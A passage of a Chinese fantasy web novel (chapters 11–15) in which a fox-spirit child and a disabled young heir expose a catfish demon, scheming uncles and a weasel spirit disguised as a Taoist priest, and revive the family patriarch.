萧瑾慕垂眸,看着仰着小脸、满眼担忧的小不点,眼底的寒意稍敛,给了她一个安心的眼神。
再抬头时,眼底只剩沉静,“我知道了,嬷嬷前头带路,我们去正院。”
穿过垂花门,正院内的压抑气息,扑面而来。
原本宽敞的厅堂里站满了人,萧老夫人端坐在上首,眉头紧锁,面色凝重。
萧老爷的两位堂弟分立一侧,正满面忧色,对着府医追问病情,举止间满是
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关切。
鲁氏站在老夫人身侧,忧伤的擦着眼泪,眼角余光不住的打量众人。
几位府医来回奔走,反复诊脉,最终只能无奈拱手,坦言查不出病因。
萧瑾慕牵着倾倾走进去,先是上前给老夫人请安,声音平淡无波。
倾倾小步跟在他身侧,狐族的嗅觉本就远超常人。
刚站稳身形,一股浓烈又腥臭的气息直钻鼻腔。
那味道并非寻常鱼腥味,而是带着浓重的阴冷妖气,混杂着腐臭的死水气息。
她皱着小眉头,再也忍不住,小声嘀咕出声:“哪里来的死鱼味呀,好臭好臭。”
这话落下,站在左侧的堂弟猛的一僵。
附在他体内的鲶鱼妖魂魄当即勃然大怒,区区小狐妖,竟然敢挑衅它!
它当即催动微弱的妖力,一道只有倾倾能听到阴冷骂声,直刺她的识海,同时暗中凝聚妖力,想给这个不知天高地厚的小丫头一个教训,让她头晕目眩、口不能言。
可它低估了这小狐妖的灵敏与身手。
倾倾瞬间便锁定了那股妖气的来源,眼底闪过一丝狡黠。
她迈着小碎步,看似不经意地靠近,小手飞快探出,一把攥住那根只有妖族才能看见的、半透明的鲶鱼长须。
用力往外一扯,那道依附在堂弟身上的鲶鱼妖魂魄,猝不及防之下,直接被硬生生拽了出来。
银光一闪,腥臭之气骤然浓烈。
一只浑身覆着黏腻灰黑色鳞片、脑袋扁平的鲶鱼精,重重摔在光洁的青砖地面上,原地显形。
它捂着自己的胡须,疼得龇牙咧嘴,发出尖锐的怪叫。
厅堂内众人瞬间哗然,惊呼四起。
倾倾顺势捂着胸口,脸上写满了惊恐。
她快步后退,紧紧抓住萧瑾慕的衣袖,整个人都藏在他的身后,哇的一声轻呼:“啊,萧瑾慕,怪物,有怪物!”
从他背后露出一双湿漉漉的眼睛,怯生生地望着地上的妖物。
第11章 逼宫
萧瑾慕身形一顿,迅速将她护在身后。
萧老夫人扶着扶手,面色铁青,指尖不住发抖。
被附身的堂弟瘫在一旁,人事不省。
另一位堂弟萧文柏率先反应,拉着瘫软兄弟的胳膊,双膝砸在青砖上,对着上首的萧老夫人放声哭诉,语气里满是惊慌和后怕:“伯母!您要为侄儿们做主啊!吓死侄儿了!这不知从哪来的水妖,竟藏在文仲身上!”
“此次随大哥押运官盐,走的下游荒河本就邪性,连日来河道阴风阵阵,水匪猖獗,侄儿们一路提心吊胆,既要护着官盐不失,又要贴身照料大哥的饮食起居,半点不敢松懈,竟不知这妖物悄无声息缠上了文仲!”
萧文仲稍缓过神,也立刻跪伏在地,垂首哽咽:“伯母!侄儿们有罪!竟让大哥遭了这等毒手,还被妖物附身,累及家族!”
“可侄儿们是真的不知情啊!这妖物狡猾至极,附在人身上竟半点痕迹无存,府里数位名医都查不出大哥的病因,侄儿们肉眼凡胎,又怎会察觉?”
“侄儿们纵是有心,也防不胜防啊!”
萧老夫人受了惊吓,刚服了安心的药丸,拍着扶手冷喝:“糊涂!都是一群糊涂东西!随敬安出行,竟连这点事都看顾不好,如今闹出妖物作祟,让萧家颜面何存!”
茶盏狠狠摔到两个废物面前!
萧文柏连连磕头,额头渗出血丝,顾不得擦,语气恳切:“伯母息怒!侄儿们知罪,愿受任何责罚!可眼下不是追究罪责的时候啊!”
“大哥昏迷不醒,萧家的船运还在河道上飘着,下月的官盐引还要去盐运司对接,这桩桩件件,哪一件敢耽搁?”
萧文仲立刻接话:“一旦官盐押运逾期,盐引被削,不仅萧家百年基业毁于一旦,还要得罪朝廷,引来大祸啊!”
萧瑾慕坐在轮椅上听着两位堂叔一口一个妖物作祟,护卫疏忽,又句句往代管家业上引,他心底冷笑更甚。
方才扯出鲶鱼精时,他分明瞥见萧文柏眼底一闪而过的慌乱,而非纯粹的惊惧,那是做贼心虚的慌,不是遇妖的怕。
“如今萧家群龙无首,老夫人您身子骨本就弱,怎能操劳这些俗务?瑾慕侄子年纪尚幼,更难当此大任。侄儿们跟着大哥打理船运、官盐多年,河道线路,官府人脉、商号规矩,无一不熟。求伯母开恩,让侄儿们暂代大哥执掌家事,打理船运盐务,守着萧家的基业,等大哥醒转,侄儿们定然立刻交权,半点不敢僭越!”二人说完,齐齐伏地叩首,哭声悲切。
眼下府中确实无人能立刻接手这盘烂摊子,萧老爷昏迷,萧瑾慕年幼,老夫人年迈,二人这番话,看似是**,实则是逼宫。
要是今日真让两位堂叔如了愿,以后再想拿回来几乎就是不可能的事。
萧瑾慕的日子恐怕就不会像现在这般舒坦了。
眼看着萧老夫人脸色一阵青一阵白,最终重重叹了口气,抬手挥了挥,就要默许二人的请求。
“两位堂叔,且慢。”
萧瑾慕眼睫轻抬,清瘦的身影坐在轮椅上,声音虽轻,却字字清晰。
众人皆惊,纷纷侧目。
就连在地上装死的鲶鱼精都看了过来。
萧文柏二人抬首,眼底闪过一丝不耐与慌乱,却故作温和:“瑾慕侄子,怎地了?眼下家族危急,不是任性的时候。”
萧瑾慕平静道:“侄子不敢任性,只是两位堂叔方才的话,处处都是破绽,怕是连自己都圆不上吧。”
他看向面色微变的萧文柏,问道:“堂叔说押运时一心护着官盐、照料父亲,可此次走的是下游荒河,是咱们萧家常年走的盐运漕道,每年这个时节水势、匪情,商号里的漕运册籍写的明明白白,你们跟着父亲打理船运数年,怎会只知提心吊胆,却连提前布放的分寸都没有?”
“按萧家规矩,押运官盐需要提前三日查探河道、连沿途的驿站、水帮都要提前对接,可你们半句未提布防,只说防不胜防,这不是疏忽,是根本没
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做吧?”
萧文仲脸色一白,厉声打断:“瑾慕!河道突发邪祟,岂是布防能防的!”
“邪祟是后话,可商道规矩,从无例外。”
萧瑾慕冷冷瞥着他,第二问接憧而至:“堂叔,父亲押运的是上等官盐,按例,随行护卫分三班,管事每日需递回行程折子,连饮食、船况都要写的一清二楚。”
“此次押运二十余日,折子呢?你们既然贴身相伴,定然见过,可回府至今,为何从未提过折子下落?是折子上写了不该写的,还是你们根本没让管事递折?”
这一问,直戳二人死穴。
他们为了方便鲶鱼精动手,早就让人扣下所有行程折子,哪里敢拿出来?
萧文柏额头渗出汗,强辩道:“途中遇妖风,折子丢到河道里了!”
“丢了?”萧瑾慕眼底满是嘲讽,第三问更是让二人无所遁形,“萧家的漕运折子,用的是桐油浸过的韧纸,防水防蛀,别说妖风,就是沉到河里三日,也绝无损坏。”
顿了顿,继续说道:“更何况,官府押运的折子,分正副两本,正本随管事,副本藏在船底暗格,这是咱们萧家传了三代的规矩,两位堂叔打理船运多年,怎会不知?”
“说折子丢了,是忘了萧家的规矩,还是根本不敢说,副本在哪?”
萧老夫人听到这话也猛地坐直身子,沉声道:“文柏,文仲,瑾慕说的可是真的?折子呢?”
二人浑身发颤,语无伦次:“这,这是孩童之言,伯母莫信!他一个小娃娃,懂什么经商规矩!”
“我不懂规矩,可两位堂叔的话,连最基本的盐运常理都不符。”
萧瑾慕步步紧逼,彻底撕碎他们的伪装:“方才倾倾说萧文仲堂叔身上有死鱼腥气,那是下游死水洼的腐腥,绝非河道正常的鱼腥味。”
“咱们萧家的船,向来走主河深水区,怎会沾染上河道外的死水洼?”
“那里,正是你们与这鲶鱼精交易的地方,对不对?”
第12章 黄毛老道
萧老夫人坐在首位,听着萧瑾慕字字戳心的诘问,指间的佛珠不知已经转了几轮。
眼底的犹疑早散了大半,心底对两个侄儿私通精怪的事已信了八分。
可是江上的船还泊着,下月的盐运又涉及萧家命脉,族里偏就这两个侄儿熟稔整套流程,旁人插不上手。
她目光冷厉地剜向瘫在地上的两个旁支侄儿,声音带着压不住的怒意:“说!你们究竟与这精怪做了什么交易?!”
两人面如土色,连连磕头,声音抖得不成样子:“老夫人饶命!侄儿们也不知啊!是它蛊惑我们,侄儿们本来安安分分,都怪这妖精,用妖法,对,是它用了妖法,才着了道!”
此时,那奄奄一息的鲶鱼精心中,却是无尽的悔恨与怨毒。
因为修为被一个黄毛老道打散,此番铤而走险与两人合作就是为了吸取萧家主的魂魄恢复自身修为。
明明跟这两人是两厢情愿的合作关系,此刻却被两人背刺,比被倾倾骂死鱼还气。
哪怕虚弱得只剩嗬嗬的气音,连人话都说不出来,一双鱼眼也要怨毒的盯着两人。
本来以为吸取一个人类魂魄是手到擒来的易事,谁知道关键时刻那黄毛老道再次出手截取了萧家主的魂魄。
不得已鲶鱼精只能附身在萧家主的其中一个堂弟身上,想着等恢复些实力把萧文仲的魂魄给吸了。
可惜啊,真是偷鸡不成蚀把米!
这下萧老夫人是真的又急又怕,盐运在即,家主昏迷不醒,精怪也不会说人话,她握着佛珠的手都在微微发颤,一时竟没了主意。
就在这人心惶惶之际,院外突然传来下人的急报,那下人匆匆忙忙走进来,又不敢大声喧哗这等邪事,只走到老夫人面前低声说了几句。
听完,萧老夫人眼中猛地亮起一丝光,忙扬声:“快,快请道长进来!”
黄毛老道手中浮尘轻甩,拂开引路的下人。
老道士一身黑布道袍,面白无须,头发却是扎眼的浅黄,眼睛半眯着,看见倾倾时,眼中精光一闪而过。
地上的鲶鱼精本还奄奄一息,乍一看见来人,鱼眼骤然暴凸,浑浊的眼珠里翻涌着滔天的恨意。
它猛地挣扎起来,鱼尾拍得地面啪啪作响,腥臭的涎水狂喷,喉咙里发出“嗬嗬”的嘶吼,像是要扑上去将老道生吞活剥!
这正是当初将它打得魂飞魄散、只剩一缕残魂苟活的仇人!
它拼尽残力嘶吼,声音嘶哑如同破锣,恨意几乎要化为实质!
满院的人都被这突如其来的暴怒惊得后退一步。
可那黄毛老道连眼皮都没抬一下,只淡淡抬起右手,手中拂尘轻轻一扬。
一缕黄气顺着拂尘扫出,轻飘飘落在鲶鱼精身上。
下一刻,骇人一幕发生。
鲶鱼精那庞大的身躯以肉眼可见的速度干瘪、收缩,体内残存的妖气、水汽、甚至是那缕残魂,都被一股无形吸力疯狂抽离!
它凄厉的惨叫声戛然而止,只来得及发出一声短促的悲鸣,庞大的鱼身就变成了一张干巴巴、僵硬、毫无生气的鱼干,砸在地上,再无半分妖力。
一招,便将凶性大发的鲶鱼精彻底化为死物。
满院死寂。
萧老夫人看得心头巨震,先前的焦灼与慌乱瞬间被一股强烈的希望冲散。
她活了大半辈子,从未见过如此轻描淡写便镇杀精怪
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的高人。
这等实力,绝非寻常江湖术士可比!
萧老夫人连忙上前两步,亲自迎接,语气恭敬无比:
“道长神通广大,老身眼拙,竟不知仙长驾临,有失远迎!”
说罢,她亲自侧身引路,抬手虚引上首主位:“仙长快请上座,奉茶!”
待老道从容落座,萧老夫人才压着激动,在鲁氏的搀扶下深深一揖:
“道长方才一眼便知我萧家祸事根源,又轻易降服这妖怪,定是通天本事。老身斗胆请问,我儿萧敬安的魂魄被此妖吸走,仙长所说的救治之法,到底是什么?”
黄毛老道端坐上首,指尖随意一掐,眼皮微抬,语气淡然:“老夫人不必急。方才收那鲶鱼精时,萧家主的魂魄,我已顺手取出来了,此刻就在我这。”
一语落地,萧老夫人又惊又喜,说道:“仙长,仙长说得是真?”
老道不答,只慢悠悠继续说道:“只是魂魄归体,需三物做引,缺一不可。”
他伸出三根手指,一字一顿:
“其一,百年野参一支,养气固魂。”
“其二,看家护院的**,取**血一碗,镇邪压煞。”
“这其三嘛,”
黄毛老道撩起松垮垮的眼皮,状似无意扫视屋内一圈,尤其在倾倾那停留了一瞬,重又眯起眼睛,说道:
“需要六岁以下孩童的心头血一滴,引魂归窍,年纪越小,效果越好。”
话音落,满院静得落针可闻。
前两味药引尚且算寻常,可最后一句“孩童心头血”,听得人头皮一麻。
萧老夫人脸色骤变,紧了紧佛珠,暗念阿弥陀佛,一时竟不知该如何应声。
第13章 仙姑娘娘
就在这沉默的间隙,鲁氏动了。
她依旧垂着首,用帕子擦了擦眼角不存在的泪水,嘴角挂上温婉笑意。
先是对着老夫人福了福身,才柔声开口:“母亲,仙长既有法子救家主,便是天大的机缘。百年野参库房里就有,**血也能即刻取来,至于这孩童的心头血,”
鲁氏的目光轻飘飘落在缩在萧瑾慕身后的倾倾,笑意依旧温柔,眼底却萃着冷光,“府里恰好有倾倾这孩子,没记错的话,该是刚满五岁,正正合适。”
这时,老夫人身边的黄管事也上前一步,躬身对着老夫人一拜,是那副老夫人最信任的语调。
“老夫人,夫人所言极是,家主若是昏迷多日不见好,府里终归会人心惶惶,再拖下去,不知道外面会把萧府传成什么样。”
黄管事看出老夫人似乎有些意动,继续劝道:“这是眼下唯一能救家主的法子,老夫人莫要再犹豫了。”
倾倾听着这些可怕的话语,早已吓得浑身僵住,小身子死死挨着萧瑾慕,连呼吸都轻轻的。
一滴心头血?
她不是寻常孩童,是狐妖。心头血对于妖族来说,凝聚着全部的妖元,是妖的命根。
别说一滴,便是半滴,也能抽走她大半修为,让她打回原形!
正瑟瑟发抖,少年带着凉意的手拍了拍倾倾僵硬的手背,偏过头,轻声说道:“有我在,没人敢动你。”
倾倾被萧瑾慕护在身后,整个人像只受惊的小奶团子。
小鼻子一抽一抽地,在空气中轻轻嗅着。
黄管事和老道还在老夫人面前一唱一和的劝个不停。
那股子黄鼠狼独有的腥躁气混着老道的黄纸香。
呛得倾倾小眉头皱成一团。
她不敢大声,只得悄悄往萧瑾慕身边贴了又贴,小嘴几乎凑到他耳边。
“萧瑾慕。”声音糯糯的,压得极低,只有两人能听见。
“这个叔叔。”小手指了指黄毛老道,“他身上,有股****的、臭臭的气味,不是好妖。”
萧瑾慕心中一动。
妖?
萧瑾慕按下倾倾胡乱指着的手,示意她别指了。
萧老夫人看着榻上气息奄奄的儿子,闭了闭眼,终究是狠下心,枯哑的声音砸在地上:
“罢了,只要能救我儿,便依道长。”
这句话如同催命符,倾倾瞬间面无血色,小小的心脏缩成一团,她能清晰感觉到那老道士身上散发出的、要剖开她胸膛的恶意。
她以为自己要**,泪珠滴答滴答落在地上,浸润到毯子里,又消失不见。
只有无边的恐惧笼罩着她。
黄毛老道这一刻竟也难掩激动,天赋使然,他对于机缘有着超强的敏锐。
本以为黄管事在说大话,今日一见,这小小狐妖竟然是他的莫大机缘,第六感告诉他,若是能得到这幼狐的妖丹,胜过苦修千年!
眼见黄毛老道越走越近,一股无法言喻的力量,猛得从倾倾小小的躯壳里炸开。
不是她平时那种小小的、只会暖手的妖力,是一种很奇怪、很厉害的力量。
倾倾原本怯生生的眼,骤然变了。
瞳仁里似有星河流转,雾霭流动,似魅似幻,似虚似实。
那眼神干净得不染尘埃,却又怜悯得俯瞰众生,哪里还有半分孩童的怯懦,哪里像凡尘里的精怪。
“嗡——”
空气剧烈震颤。
那黄毛老道惨叫都没有发出一声,身上的道袍寸寸碎裂,皮肉扭曲,瞬间现出原形。
是一只尖嘴缩腮、皮**焦黄的黄鼠狼,豆大的鼠眼睛瞪得滚圆,满是极致的恐惧。
几乎是同一瞬,身侧的萧瑾慕眼神一厉,动作飞快。
他早就将袖中那枚浮阳亲笔所画的符箓捏在掌心,浮阳本打算收徒后再来整治这府里的黄鼠狼精,没想到被萧瑾慕拂了面子,打算直接就走却实在放心不下这个好苗子,于是臭着脸给了萧瑾慕许多符箓阵法。
此刻和倾倾配合得默契至极,指尖一弹,黄符精准贴在黄鼠狼眉心。
“滋啦!”
符篆一触即燃,却不是凡火。
那火从黄鼠狼五脏六腑里烧起,金红色的烈焰只焚妖邪,半点不殃及周遭。
黄鼠狼连挣扎都做不到,身体迅速消融、碳化,不过眨眼间,便化作一缕飞灰,被堂内穿堂风一卷,散的干干净净,无声无息。
一切发生在电光火石之间,萧老夫人等人只觉得眨个眼的功夫,黄毛老道士就消失不见,众人如梦初醒,仿佛做了个久远的梦。
萧老夫人回头看向自己还昏睡的儿子,知道不是梦。
萧敬安只觉得自己像是一缕被抽离了躯壳的孤魂,在一片混沌虚无中漫无目的地飘着、走着。
周遭静得可怕,连自己的呼吸与心跳都听不见,唯有一股沉闷的窒息感,如影随形,像是被无形
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的囚笼困了无数个日夜。
不知走了多久,久到他几乎要忘记自己是谁。
前方,终于出现了一点微光。
他鬼使神差朝那光走去。
光影渐清,那是一道小小的身影。
不过四五岁的模样,安静地立在虚无之中,闭着眼,长长的睫毛垂落,像蝶翼停驻,不言不动,像一尊被时光遗忘的雕像。
是倾倾,却又不像倾倾。
她明明没有开口,萧敬安却清晰听见一道声音,清清淡淡,不辨男女,不似人声,却直接响在他的神魂深处:
“往前走。”
带着不容抗拒的力量。
萧敬安心头微震,竟真的依言,下意识地往前踏出一步。
脚下一空,眼前猛地一晃,天旋地转。
再定神时,鼻尖萦绕着卧房里熟悉的味道,身下是软榻,身上盖着棉被。
他猛地睁开眼睛,胸腔剧烈起伏,大口喘着气,只觉得方才那片虚无,那道小小的身影,都像一场太过真实的梦。
“儿啊!”
萧老夫人扑上来,一把抱住他,喜极而泣,泪水打湿他的衣襟。
周围一片欢腾,下人们纷纷跪地,高呼“家主洪福”。
萧敬安撑着身子坐起,只觉得浑身虚软,神魂像是刚从**之外飘回来,一片空茫。
他下意识地环顾四周,目光掠过母亲,掠过鲁氏,掠过早已吓晕过去的两位堂弟,掠过一众下人,最终,定格在那道小小的身影上。
倾倾正被萧瑾慕护在身后,只露出半张小脸,怯生生地望着他,眼神干净又懵懂。
就是这一眼。
那片虚无、那道身影、那道声音、瞬间在他脑海里炸开。
不是梦,不是幻觉,是真真切切,救他魂魄归体的,是眼前这个五岁的孩子。
萧敬安脸色骤变,再无半分家主的沉稳,猛地掀开被子,大步冲下榻。
在满室惊愕的目光里,他“咚”一声,直挺挺跪在倾倾面前。
“仙姑娘娘!”
一声大喝,震得人耳膜发颤。
话音未落,他俯身磕头,一下重过一下,发出沉闷的声响。
“萧敬安,谢仙姑娘娘救命大恩!”
他磕得虔诚,磕得郑重,全然不顾自己刚从鬼门关回来,不顾身份地位,对着一个五岁孩童,行最隆重的跪拜之礼。
满场死寂。
萧老夫人僵在原地,哭也不是,笑也不是。
第14章 错过一个亿
萧敬安的额头抵在冰凉的地面上,背脊因用力而微微颤抖。
死寂。
方才还充斥着哭喊与喧哗的屋子,此刻落针可闻。
所有人都像被施了定身法,呆立在原地,目光在那跪着的家主和那被唤作仙姑娘娘的五岁孩童之间游移。
萧老夫人最先反应过来,她踉跄一步,被身后的鲁氏扶住,声音发颤:“敬安!你、你这是做什么?你才刚醒,莫不是魇着了?那是倾倾,不是什么仙姑娘娘!”
鲁氏脸上的温婉笑意早已僵成冰冷的面具。
她看着自己丈夫对着一个来路不明的野种行如此大礼,指甲深深掐进掌心,几乎要渗出血来。
强压下心头翻涌的惊怒与一丝不易察觉的恐慌,柔声劝道:“夫君,您昏迷了许久,神魂未稳,怕是认错了人。倾倾只是个孩子,怎受得起您如此大礼?快些起来,地上凉。”
她说着,便上前欲扶萧敬安。
“退下!”
萧敬安头也未抬,声音嘶哑却带着不容置疑的威严。
他依旧保持着叩首的姿势,只吐出这两个字,便让鲁氏伸出的手僵在半空,脸色一阵青白。
没有理会母亲和妻子,目光灼灼,只看向被萧瑾慕牢牢护在身后的倾倾。
“母亲,夫人,我神智清醒,从未如此清醒过。”萧敬安的声音低沉而清晰,在寂静的屋内回荡,“我魂游体外,陷于无边混沌,是仙姑娘娘显圣,指引我魂魄归位。此乃再造之恩,形同父母,莫说一跪,便是肝脑涂地,亦难报万一!”
他每一个字都掷地有声,敲在众人心头上。
萧老夫人张了张嘴,看着儿子眼中那份不容错辨的笃定与激动,终是哑然。
她想起黄毛老道凭空化作飞灰的诡异景象,想起儿子昏迷多日、群医束手无策的绝望,再看向那个此刻缩在孙子身后、只露出半张小脸、眼中犹带泪光惊惶的小女孩。
一股寒意混杂着难以言喻的悸动,悄然爬上脊背。
难道,真是如此?!
倾倾眨了眨湿漉漉的眼睛,看着萧敬安跪在自己面前,一下一下磕头,嘴里说着她听不懂的话。
倾倾歪了歪小脑袋,眉头轻轻皱起,一脸茫然,完全不知道发生了什么。
“仙姑娘娘?”
她小声重复了一遍,奶声奶气,带着浓浓的困惑,问萧瑾慕:
“那是什么呀?”
刚才的事她一点印象都没有,不懂什么魂魄归位,只记得刚才那个黄毛怪老头很吓人,然后突然就没了,然后这个躺着的大人就醒了,然后就对着自己磕头。
小小的脑袋转不过弯,只觉得这个大人好奇怪。
她伸出一根细细的小指头,指了指萧敬安,又想起萧瑾慕不让自己乱指,怯怯收回,小声问:
“你,你为什么要跪倾倾呀?倾倾没有做什么,倾倾只是站在这里。你起来好不好?地上凉呀。”
厅堂内的诡异寂静,被一阵急促的脚步声骤然打破。
“大少爷。”
侍卫荣青一身风尘,玄色劲装沾着盐粒与水汽,显然是刚从江边盐运码头赶回来。
他右手紧握着油布仔细裹好的册子。
正是萧文柏和萧文仲不敢拿出来的折子。
上面密密麻麻的记录,足以证明萧家家主是被两位堂弟所害。
他满心都是案情与证据,一进门便要高声禀报,可话到嘴边,却猛地卡在喉咙里。
他看见什么了?
那位在鬼门关逛了一圈的家主,醒是醒了,可没躺在榻上,没喝药、没议事,反而对着少夫人疯狂磕头,嘴里还仙姑娘娘仙姑娘娘地喊,虔诚得像是在拜真神。
而他那位素来孤僻深沉,常年坐轮椅的主子,就安安静**在一旁,像一尊冷玉雕像,对这匪夷所思的一幕,视若无睹,只淡淡护着少夫人。
荣青张了张嘴,到了嘴边的“属下查到真相”,硬生生咽了回去。
不过离开几个时辰,奉命去查个盐运船,搜个暗格。
怎么回来之后,整个世界都不对了?
荣青站在门口,进也不是,退也不是,手里的铁证折子,突然就不香了。
心里只剩下一个荒谬的念头:
完了,不过离开几个时辰,就错过了几个亿的大戏,大场面。
“父亲。”
是萧瑾慕开口,声音还带着少年人的清冽,却异常沉稳,不高不低,刚好压过萧敬安磕头的闷响,
“您刚醒,身子虚,先起来。”
他弯下身,虚虚托住萧敬安的两只胳膊,低声道:“父亲,儿子有要事禀告,是关于您被害的真相,请借一步说话。”
“况
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且,”萧瑾慕看了看倾倾眼角的泪痕,“再磕下去,她都要被你吓哭了。”
萧敬安的动作顿住了。
额头离开冰凉的地砖,他抬起头,眼中那几乎要灼烧起来的狂热与感恩,在接触到儿子那双沉静如古井的眼眸时,微微一滞。
随后,目光落在了儿子身后,那个正拽着儿子衣角、眼睛红红像小兔子一样的女孩脸上。
仙姑娘娘,被他吓哭了?
这个认知瞬间浇熄了他沸腾的情绪。
他怎能如此莽撞,惊了恩人的驾?
“瑾慕说得对。”萧敬安嗓音沙哑,借着儿子的搀扶缓缓起身。昏迷多日,这番激动跪拜几乎耗尽了他刚恢复的力气,身形晃了晃,额上已是一层虚汗。
但他的背脊依旧挺直,目光扫过在场所有人,最终落在荣青身上,尤其是他手中那裹得严实的油布包。
萧敬安的眼神骤然锐利如刀,昏迷前的记忆碎片与船头那意外的一阵猛风、脚下诡异的打滑瞬间串联起来。
“母亲,”他转向惊疑不定的萧老夫人,语气放缓,却不容置疑,“儿子刚醒,有些紧要之事需与瑾慕处理。此处暂且散了吧。仙,倾倾年幼受惊,让瑾慕带她回去歇息。”
他终究改了口,但那目光掠过倾倾时,依旧带着难以掩饰的恭敬与小心。
萧老夫人看着儿子苍白的脸,心知此刻绝非追问“仙姑娘娘”之时,只得压下满腹惊涛,疲惫地摆摆手:“罢了,都散了吧。敬安,你身子要紧,万事,徐徐图之。”
最后四个字,她说得格外沉重,目光复杂地瞥了一眼仍躲在萧瑾慕身后的倾倾。
鲁氏几乎要将自己的袖口绞碎。
丈夫醒来,不看妻儿,先跪野种;有机密要事,只与那病秧子儿子商议;自己堂堂主母,倒像个外人般被晾在一旁!
还有那仙姑娘娘,无稽之谈!
定是这野种用了什么妖法,或是萧瑾慕这阴险小子设的局!
她心中恨极,脸上却强行挤出更深的担忧与温顺:“夫君,您千万保重身子,妾身去小厨房盯着,给您熬些定惊补气的汤药来。”
下人们领了命,抬着还‘晕着’的萧文柏和萧文仲退了出去。
厅内很快只剩下萧敬安父子,以及被萧瑾慕牵着手、还有些发懵的倾倾。
第15章 内斗
待人都退完了,萧瑾慕才将折子递上。
“父亲,听闻您的船遇袭,儿子便第一时间让荣青去取了这折子。”
他抬眼,目光清明,语气沉而稳,听不出半分波澜:“您教过我,这折子记着漕运防符的布点,决不能落入旁人手里。”
萧敬安靠在软枕上,声音虽弱,威严丝毫不减:
“你倒是没白记着我教你的那些,比你那两个堂叔强上十倍。”
倾倾本来昏昏欲睡,此刻一听到夸萧瑾慕的话,连忙小鸡啄米似的点头。
萧瑾慕本平静的内心因为倾倾的反应染上一层笑意。
他倾身半步,指向折子内两页两处浅淡的灰黑色压痕,“您看这两处,不是笔墨晕染,是浸了妖骨粉的墨汁干了之后才会留的印子。”
“两位堂叔虽有心机,却连族学的武课都避着,哪里来的妖骨粉?”
萧敬安将折子掷在旁侧矮几上,沉吟道:“妖骨粉是南疆旁门的东西,族里只有你七叔公早年去过南疆,去年还借着修族祠的由头,跟二房借过三千两银子。”
“儿子已经查过,这半月来,二堂叔府中西跨院偏门夜夜闭得极晚,那处本是族里远支的旧宅,三年前划给二房管事,平日里荒着,偏偏这几日总有人影出入。”
萧敬安点了点头:“西跨院那处远支,看着不起眼,确是族里老仆的聚居地,掌着族中各房用度采买,二房能把那处攥在手里,怕是不简单。”
他看向儿子,语气骤然转沉:“你打算如何?”
“折子在手,定两位堂叔的罪绰绰有余,儿子本可直接拿了人交给族老。但儿子想留着这个线头,顺着往下挖,看看是谁在背后推波助澜。”
萧敬安赞许道:“瑾慕说的在理,折子先压着,你那两个堂叔,暂且只禁足在府里,断了他们跟外界的联系,但别封**门,留个缝,让背后的人觉得还有可乘之机,且看看谁先沉不住气。”
他的目光凝着榻前的的少年,心底翻涌的惊涛却远胜身侧的风波,十岁稚龄,便能窥破局中局,还能筹谋引蛇出洞,这份心思与权谋,便是族中浸淫权谋数十年的老辈,也难望其项背。
目光又移到那看似稳直,实则微微借力撑着的腿弯,眼底的赞赏缠上一层浓得化不开的疼惜与心惊。
倾倾坐在萧瑾慕身侧的矮凳上,小脑袋一点一点,早已困得眼皮打架。
她听不懂那些复杂的话,只觉得那些字眼像嗡嗡的小虫,绕着她打转,越听越昏沉。
直到萧瑾慕的声音停下来,她才猛地惊醒,揉了揉眼睛,茫然地看向两人。
萧敬安的目光这时才从儿子身上移开,重新落回倾倾脸上。
那目光太过复杂,有敬畏,有感激,有探究,还有一丝难以言喻的、近乎惶恐的小心翼翼。
“仙……倾倾,”他斟酌着称呼,声音放得极轻,像是怕惊扰了什么,“今日之事,多谢你。”
倾倾歪了歪头,诚实道:“倾倾没有做什么呀。”
她只记得自己被吓到了,还哭了鼻子,有点丢脸。
萧敬安却摇了摇头,神情郑重:“不,你做了。是你救了我。”他顿了顿,看向萧瑾慕,“瑾慕,倾倾她,究竟是什么人?”
这个问题,萧瑾慕自己也无法完全回答。
他只知道倾倾是狐妖,是他的救命恩人,与他生死相连。
但今日那黄毛老道瞬间灰飞烟灭、父亲魂魄归体的奇异景象,以及倾倾那一刻眼中陌生的、近乎神性的光芒,都超出了他对小狐妖的认知。
“她是倾倾。”萧瑾慕最终只是这么说,伸手将困顿的小人儿揽近了些,语气平淡却坚定,“是我的家人。”
“家人”二字,让萧敬安微微一怔。
他看着儿子护犊般的姿态,看着倾倾依赖地靠在儿子身侧,心中那惊涛骇浪般的震撼,奇异地被一股暖流冲淡了些许。
“好,好。”萧敬安长长舒出一口气,“既是家人,萧家便是她的家。今日起,倾倾在府中一切用度,比照嫡出小姐,不,再提三成。她有何需求,直接禀报我,无需经过中馈。”
这话分量极重,几乎是公开赋予了倾倾超然的地位,连鲁氏这位主母都越过去了。
萧瑾慕眸光微动,并未推辞,只道:“谢父亲。”
“另外,”萧敬安揉了揉仍有些刺痛的额角,低声道,“今日厅中仙姑娘娘之说,恐已传开。瑾慕,你多看顾些,莫让倾倾受了惊扰。”
“儿子明白。”
正事说罢,萧敬安终究是精力不济,脸上疲态尽显。
萧瑾慕见状,起身告辞:“父亲好生歇息,儿子先带倾倾回去了。”
“去吧。”萧敬安挥挥手,目光在倾倾懵懂的小脸上停留一瞬,终是补了一句,“倾倾,以后,常来玩。”
倾倾眨了眨眼,虽然不太明白这个刚才还对她磕头的大人为何态度变得这般温和,但还是乖乖点头:“哦
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。”
出了正院,夜风拂面,带着初秋的凉意。
倾倾被风一吹,困意散了大半,小手紧紧抓着萧瑾慕的衣袖,亦步亦趋地跟着。
“萧瑾慕,”她仰起小脸,月光在她澄澈的眼底洒下细碎的光,“刚才那个伯伯,为什么后来又对倾倾笑呀?他之前好凶的,还要磕头,吓死倾倾了。
萧瑾慕放缓了推着轮椅的速度,沉吟片刻,才道:“他不是凶,是太激动了。他以为你救了他,很感谢你。”
“可是倾倾真的没有呀。”倾倾苦恼地皱起小鼻子,“倾倾只是站在那里,什么也没做。是老猫说过,不能随便承别人的大礼,会折福的。他磕了那么多头,倾倾会不会福气变少了呀?”
孩子气的担忧,让萧瑾慕有些失笑。
“不会。”他温声道,“你的福气很多,分不完。”
“真的吗?”倾倾眼睛一亮,随即又想起什么,压低声音,神秘兮兮地问,“那萧瑾慕,刚才那个黄黄的、臭臭的老头,为什么噗一下就不见了呀?是你做的吗?你好厉害!”
她显然把黄鼠狼精的消失归功于萧瑾慕后来贴出的符箓了。
萧瑾慕没有纠正这个美丽的误会。
有些事,倾倾不知道或许更好。
那瞬间从她身上迸发的、令人战栗的力量,以及她事后全无记忆的空白,都透着不寻常。
“嗯,我用了道长给的符。”他轻描淡写地带过。
萧瑾慕忽然想起浮阳留下的那块玉佩。
大道止步,寿元无多。却断言他终有一日会去求他。
真的会有那么一天吗?
